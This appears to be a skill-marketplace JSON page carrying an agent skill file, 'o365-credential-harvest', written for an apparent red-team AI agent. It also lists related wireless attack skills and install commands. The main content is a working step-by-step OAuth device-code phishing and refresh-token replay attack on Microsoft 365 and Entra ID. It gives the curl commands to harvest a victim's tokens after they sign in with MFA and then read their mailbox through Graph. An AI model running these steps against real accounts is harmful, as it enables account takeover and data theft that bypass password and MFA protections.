[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770KAMF8BTYH6BG9NN8VH0K":3,"skill-same:01M770KAMF8BTYH6BG9NN8VH0K":57},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":37,"commitSha":38,"skillDirectory":39,"forksCount":14,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":42,"install":43,"resources":56},"01M770KAMF8BTYH6BG9NN8VH0K","o365-credential-harvest",null,"Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: o365-credential-harvest\ndescription: >\n  Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and\n  captured tokens (TokenTactics-style), skipping the password + MFA prompts.\nmetadata:\n  subdomain: phishing\n  when_to_use: \"o365 phishing, entra id, oauth device code, token replay, tokentactics, microsoft 365 credential harvest, illicit consent\"\n  mitre_attack:\n    - T1566.002\n    - T1528\n    - T1550.001\n    - T1621\n  tags:\n    - phishing\n    - o365\n    - oauth\n    - token-replay\n---\n\n# O365 \u002F Entra Credential & Token Harvest\n\nTwo Microsoft-identity initial-access paths that avoid a fake password\npage: the **device-code** flow and **token replay**. Both are favored\nbecause the victim authenticates on the genuine Microsoft endpoint.\n\n## Device-code flow\n\nThe attacker requests a device code; the victim is social-engineered\nto enter it at the real `microsoft.com\u002Fdevicelogin`. After they\ncomplete sign-in (MFA included), the attacker polls and receives\naccess + refresh tokens.\n\n```bash\nTENANT=common\nCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)\n# 1. request a device code\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Fdevicecode \\\n  -d \"client_id=$CLIENT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access\" | tee dc.json\n# -> user_code + verification_uri go into the lure (\"enter this code at ...\")\n# 2. poll for the token after the victim signs in\nDC=$(jq -r .device_code dc.json)\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC\"\n```\n\n## Token replay (TokenTactics pattern)\n\nA refresh token captured here (or via `evilginx2-proxy`) is exchanged\nfor access tokens against Graph, Outlook, SharePoint, Teams — each a\ndistinct resource scope — without re-auth.\n\n```bash\nRT=\u003Ccaptured-refresh-token>\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# use the returned access_token: Authorization: Bearer \u003Ctoken> against graph.microsoft.com\n```\n\n## Validate\n\nA token is interesting; a Graph call returning the victim's mailbox \u002F\ndirectory data is the finding:\n`curl -s -H \"Authorization: Bearer $AT\" https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme`.\n\n## Evidence\n\nTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)\nlinked to the `User` node. Store ONLY under `evidence\u002Fphisher\u002F` + the\nknowledge graph.\n\n## RoE \u002F OPSEC\n\n- Device-code lures still require the `lure-deconfliction` handshake.\n- Refresh tokens are long-lived — record the expiry and treat them as\n  the most sensitive artifact in the engagement.\n- NEVER read more mailbox\u002FGraph data than the objective requires;\n  abide by `plan\u002Froe.json:data_handling`.\n","# O365 \u002F Entra Credential & Token Harvest\n\nTwo Microsoft-identity initial-access paths that avoid a fake password\npage: the **device-code** flow and **token replay**. Both are favored\nbecause the victim authenticates on the genuine Microsoft endpoint.\n\n## Device-code flow\n\nThe attacker requests a device code; the victim is social-engineered\nto enter it at the real `microsoft.com\u002Fdevicelogin`. After they\ncomplete sign-in (MFA included), the attacker polls and receives\naccess + refresh tokens.\n\n```bash\nTENANT=common\nCLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)\n# 1. request a device code\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Fdevicecode \\\n  -d \"client_id=$CLIENT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access\" | tee dc.json\n# -> user_code + verification_uri go into the lure (\"enter this code at ...\")\n# 2. poll for the token after the victim signs in\nDC=$(jq -r .device_code dc.json)\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002F$TENANT\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC\"\n```\n\n## Token replay (TokenTactics pattern)\n\nA refresh token captured here (or via `evilginx2-proxy`) is exchanged\nfor access tokens against Graph, Outlook, SharePoint, Teams — each a\ndistinct resource scope — without re-auth.\n\n```bash\nRT=\u003Ccaptured-refresh-token>\ncurl -s https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken \\\n  -d \"grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default\"\n# use the returned access_token: Authorization: Bearer \u003Ctoken> against graph.microsoft.com\n```\n\n## Validate\n\nA token is interesting; a Graph call returning the victim's mailbox \u002F\ndirectory data is the finding:\n`curl -s -H \"Authorization: Bearer $AT\" https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme`.\n\n## Evidence\n\nTokens → `Credential` nodes (type `oauth-token`, with scope + expiry)\nlinked to the `User` node. Store ONLY under `evidence\u002Fphisher\u002F` + the\nknowledge graph.\n\n## RoE \u002F OPSEC\n\n- Device-code lures still require the `lure-deconfliction` handshake.\n- Refresh tokens are long-lived — record the expiry and treat them as\n  the most sensitive artifact in the engagement.\n- NEVER read more mailbox\u002FGraph data than the objective requires;\n  abide by `plan\u002Froe.json:data_handling`.\n",{"name":5,"metadata":24,"description":36},{"tags":25,"subdomain":26,"when_to_use":30,"mitre_attack":31},[26,27,28,29],"phishing","o365","oauth","token-replay","o365 phishing, entra id, oauth device code, token replay, tokentactics, microsoft 365 credential harvest, illicit consent",[32,33,34,35],"T1566.002","T1528","T1550.001","T1621","Harvest and replay O365 \u002F Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.\n","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":44,"prompt":54,"zipAvailable":55},[45,48,51],{"tool":46,"command":47},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill o365-credential-harvest",{"tool":49,"command":50},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill o365-credential-harvest",{"tool":52,"command":53},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill o365-credential-harvest","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fphisher\u002Fo365-credential-harvest\u002FSKILL.md",true,[],[58,65,72,79,86,93],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]